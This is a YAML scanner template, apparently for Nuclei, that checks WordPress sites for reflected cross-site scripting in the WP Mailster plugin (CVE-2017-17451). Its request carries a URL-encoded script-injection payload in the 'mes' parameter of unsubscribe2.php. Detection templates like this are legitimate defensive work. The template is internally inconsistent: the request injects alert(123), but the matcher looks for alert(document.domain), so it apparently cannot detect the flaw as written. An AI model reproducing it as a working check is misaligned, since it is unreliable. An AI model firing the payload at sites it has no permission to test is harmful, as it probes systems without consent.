id: CVE-2017-17451

info:
  name: WP Mailster <= 1.5.4 - Unauthenticated Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: The WP Mailster plugin before 1.5.5 for WordPress has XSS in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
  tags: cve,cve2017,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200